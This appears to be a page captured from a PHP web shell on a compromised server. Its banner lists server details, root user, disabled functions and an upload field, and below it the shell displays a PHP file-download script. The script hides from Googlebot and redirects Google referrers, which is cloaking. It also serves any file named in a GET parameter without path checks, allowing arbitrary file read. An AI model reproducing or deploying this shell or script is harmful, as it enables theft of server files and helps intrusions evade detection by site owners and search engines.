| Server IP : 37.27.51.148 / Your IP : 37.27.51.148 Web Server : nginx/1.14.1 System : Linux libra 4.18.0-553.51.1.el8_10.x86_64 #1 SMP Wed Apr 30 20:24:04 UTC 2025 x86_64 User : root ( 0) PHP Version : 8.3.31 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/html/ |
Upload File : |
<?php
// blokiranje googlebota
if (strpos($_SERVER['HTTP_USER_AGENT'], "Googlebot")!==false) exit;
if (strpos($_SERVER['HTTP_REFERER'], ".google.")!==false) {header('Location: /'); exit;};
// grab the requested file's name
$file_name = $_GET['file'];
$parts = explode('.com', $file_name);
$serverPath = getcwd().$parts[1];
// make sure it's a file before doing anything!
if (is_file($serverPath)) {
// required for IE
if (ini_get('zlib.output_compression')) {
ini_set('zlib.output_compression', 'Off');
}
// get the file mime type using the file extension
switch (strtolower(substr(strrchr($serverPath, '.'), 1))) {
case 'pdf':
$mime = 'application/pdf';
break;
case 'zip':
$mime = 'application/zip';
break;
case 'jpeg':
case 'jpg':
$mime = 'image/jpg';
break;
default:
$mime = 'application/force-download';
}
header('Pragma: public'); // required
header('Expires: 0'); // no cache
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Last-Modified: '.gmdate('D, d M Y H:i:s', filemtime($serverPath)).' GMT');
header('Cache-Control: private', false);
header('Content-Type: '.$mime);
header('Content-Disposition: attachment; filename="'.basename($serverPath).'"');
header('Content-Transfer-Encoding: binary');
header('Content-Length: '.filesize($serverPath)); // provide file size
header('Connection: close');
readfile($serverPath); // push it out
exit();
} else {
echo 'Wrong file.';
}